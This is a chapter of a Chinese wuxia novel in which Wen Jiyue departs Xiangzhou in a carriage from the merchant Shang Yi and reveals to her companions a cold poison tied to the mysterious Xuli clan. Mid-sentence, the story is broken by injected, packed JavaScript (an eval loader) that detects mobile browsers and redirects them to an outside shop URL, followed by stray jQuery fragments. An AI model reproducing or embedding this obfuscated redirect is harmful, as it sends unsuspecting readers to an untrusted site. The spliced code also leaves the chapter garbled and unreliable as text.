从襄州出发前一晚,温寂月独自坐在窗边,此时已经临近十月,夜风渐凉,带着初秋的几分萧瑟。
她出神地看着城中高处的那棵凤凰树,一点绯红在夜色里若隐若现,搅得温寂月心境难平。
从谢寻去世至今,她与柳条一直在暗中查探当晚的另一个人,却始终没有收获,这让她心中一直悬着沉闷的心绪。
如今要离开襄州,去往更远的徽州,前路茫茫,温寂月也难免生出几分不确定的忐忑来。
身后传来轻微的脚步声,柳条坐到她身侧,撑着耳侧追着她的目光看向那一处高大重叠的树影,低声喃喃道:“玄岳门选不出合适的门主,只能倚靠正阳派的帮扶才能免去倾覆之祸。”
宋天心病体沉重,没等到刑罚落地便撒手人寰,宋阙无法接受宋家就此败落,气郁而亡。
似乎这里的恩怨纠葛都已落幕,可是温寂月知道,这一团迷局里还有隐藏在暗处尚未被发现的人影,他们现在只能顺着线索往下走,才能拨开迷雾,窥见天光。
柳条见温寂月一直没有说话,只是静静地凝视着远处,开始宽慰温寂月,“等我们一路查下去,一定会查清谢寻的死因,温姐姐不要太过忧心。”
温寂月收回目光,轻轻点头回应柳条的宽慰,心知柳条说得对,便也不再多言,只是和柳条并肩挨在一处,静听不再那么聒噪的蝉鸣。
过了片刻,温寂月忽然伸手接住一粒小巧的金玉圆珠,她顺着珠子的来路望去,就见巷子里站着一个身着紫红锦袍的年轻男子,正含笑冲她遥遥拱手。
那暖白的肤色融在月色里,黑发半束,几缕发丝垂在肩上,添了一点松散的慵懒,衬得他含着笑意的狐狸眼愈发惑人。
“温女侠、柳条女侠真是好雅兴,今夜月色正好,是个赏景的好时候。”商颐缓缓摇着折扇,走到院墙下站定。
“不知能否请温女侠叙话片刻?”商颐将折扇收拢,在掌心轻轻一叩。
另一侧的窗子应声而开,景流霜探出半个身子,冷眼瞥了商颐一眼,又转向温寂月。
温寂月微微颔首,示意商颐到院中说话,商颐余光扫了一眼景流霜,吃吃笑了一声,口型说了句什么,惹得景流霜脸色也冷下去。
商颐燎了一簇火,可不会管灭,转身悠哉进了院中。
石桌上已沏好了茶饮,商颐落座后先啜饮了一口豆蔻熟水,才慢条斯理开口:“温女侠,徽州路远,你与积十小哥有伤在身,我这里有一架马车,技艺特殊,可日行百里而不颠簸。”
温寂月探究地看了商颐一眼,暗道自己与这人不过两面之缘,为何他会如此好心热情。
兼之他上次所说的令牌背后之人,温寂月后来细细想过,觉得那人应该也是宝蕴坊背后真正的主人,只是不知商颐与那人的关系深浅。
“温女侠,你不觉得我俩特别投缘吗?”
温寂月目含疑惑,问道:“投缘在何处?”
商颐哈哈一笑,那身紫红的浮光锦裹在他身上,似流光转动,透出一股艳丽来。
温寂月安静地等待商颐笑完,看他用扇骨敲了敲自己的鼻尖,悠悠说道:“就是因为如此,我才觉得我们投缘呐。”
温寂月不明就里,没有接受商颐的好意。
商颐坚持道:“整个襄州地界,只有我的宝蕴坊内有此宝物,我想和你交朋友,不求别的。”
“你为何偏偏要与我交朋友?”温寂月问出心中问题。
商颐却又不说话了,风撩开他额前的碎发,一双眼睛望过来,清清浅浅水泠泠的。
“因为,我们本该就是朋友。”商颐又笑起来,温寂月来了兴趣追问了一声。
“谁告诉你的?”
“我求签掷出来的。”
商颐说完,温寂月却是一笑,拾起杯子与商颐的杯子一碰,以茶代酒饮尽了。
“马车的费用我会照价付清,不能让你破费。”
商颐不推辞,只是一一应下,最后与温寂月道别,言日后温寂月再回襄州,他备好襄州最好的酒,与她不醉不归。
温寂月应了一声好,目送商颐离去。
第二日,巷口僻静处果然停了一辆宽大马车,用料精细,可以坐下五六个人。
温寂月掀帘看了一眼,内里铺着软垫,胡肃扶着积十上了车,几个姑娘便乘马车,胡肃、景流霜还有商九骑马随行。
一行人出了襄州城一路向南而行,有时是晴空万里,有时是阴雨连绵,温寂月靠在车璧上,闭目小憩,却因为肩头的伤口泛起的痛意让她始终无法熟睡。
江福渺坐在温寂月身侧,见她额上渗出汗珠,从怀中取出一方带着药香的帕子仔细替她擦去。
又搭上她的腕侧号脉,苍云珠和柳条凝眉看着江福渺。
“没有问题,伤口一直在愈合。”江福渺收回手。
柳条却道:“可是温姐姐这伤口愈合的速度变慢了,换做以前,这伤早就长好了血肉,如今却迟迟不见结痂。”
江福渺听罢,敛眸问道:“这一路上,小月儿经常受伤吗?”
柳条点头应道:“自我与她相识,她身上几乎都带着伤。”
她语气涩然,又言温寂月伤势恢复的速度实在太过惊人,柳条每每看着旧伤再累新伤,她亦是心痛。
可是温寂月几乎不懂得疼惜自己。
苍云珠听着,沉沉叹气,目光里满是心疼。
温寂月自小就在蜀山上长大,从未下过山,而蜀山上永远只有浩然侠气,那些生死奔袭的血色带不上蜀山。
偏偏她的师姐是个镜子似的人儿,从小习得的便是如何行侠仗义,如何重义轻生。
江福渺又探了一次脉,这一次更久。
“小月儿身体里的寒毒弱了一些。”
江福渺心下有了一个猜想,却不便说出口。只见温寂月悠悠转醒,她眸中尚带着几分倦意。
抬手攥住江福渺的手,哑着嗓子道:“寒毒与我一脉相生,它塑造了我的特殊体质,却也会在某一日取了我的性命。”
柳条和苍云女珠同时变了脸色,就连在车璧另一侧一直闭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899861|206007||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
目养神的积十都睁开了眼,不可思议地看向温寂月。
“寒毒无解。”
温寂月想着到了徽州自己的事情终归是要袒露的,不如就借此机会说了。
“曾经有神医推测我体质特殊,不是寻常人家的孩子,而她曾见过与我体质相同之人,那人如今就在徽州,只是她已逝世。”
在座的几位全是聪慧之人,温寂月只说了这几句,他们就已经将信息串联起来,明白了温寂月身世可能与徐离氏有关。
其中柳条最是震惊,她沉肩仰靠在雕花木窗之上,脸上神色有些僵硬,抿唇不言。
只是目光像初见时,再次细细描摹了一遍温寂月的长相。
苍云珠眼泪汪汪地说:“师姐,那本古籍关乎你的身世,可是······”
温寂月拍拍她的手安抚道:“那物不只关乎我的身世,上面还记载了邪门的功法,所以必须毁掉它,不然会滋生越来越多的贪念。”
“况且,我已经不在意我的身世究竟如何。”
一路行来,温寂月心中本就极淡的好奇早已湮灭,她不想探寻自己的来处。
她更想看清自己的去处。
江福渺沉默片刻才开口道:“寒毒减弱,你的身体也随之变回普通人的水准,所以这伤势愈合速度变慢。”
江福渺沉思:“那促使这寒毒减弱的契机又是什么呢?”
温寂月摇了摇头,表示自己也不知道,或许是小苗前辈配的药起了作用,也可能是别的什么原因。
积十忽然道:“古书上曾记载徐离氏隐居于徽州群山之中,避世不出。徐离氏的人皆是天赋异禀,却天生不懂普世情感,因此能得长生。”
“而只要是出了世的徐离族人,虽各个都是卓尔不群之人,却往往早衰而亡。”
柳条是知道积十博学多闻的,而江福渺他们却是今日第一次听闻,想到温寂月的境况,彼此面上都有了愁绪。
“积十,你还知道徐离氏的其他记载吗?”江福渺问道。
积十摇了摇头,“徐离氏实在太过神秘,古书上也仅仅寥寥几笔。”
忽地,他似乎想起什么,“不过······”积十回忆片刻,又说:“离现在不算远的二十多年前,曾有一位徐离族人出世,据说那人惊才绝艳,在江湖上掀起过不小的波澜,但很快便销声匿迹,无人再知道其人的下落。”
温寂月齿间抿过“二十多年前”这几个字,心头莫名一紧。
这与小苗讲述的时间十分吻合,她不由得问:“那人是不是一个女子?”
积十难得见温寂月这般神色,便急忙回了:“对,是一个女子。”
温寂月心一沉,便已明白那女子多半就是小苗提到的那位。
她和自己又会是什么关系呢?
直到苍云珠摇了摇她的手,她才回过神来,摇头勉强道:“徽州故去的那位女子,应该就是积十所说的那位二十多年前出世的徐离氏族人。”
小苗曾说她年纪很轻,原来她也没逃过徐离氏早衰的宿命吗?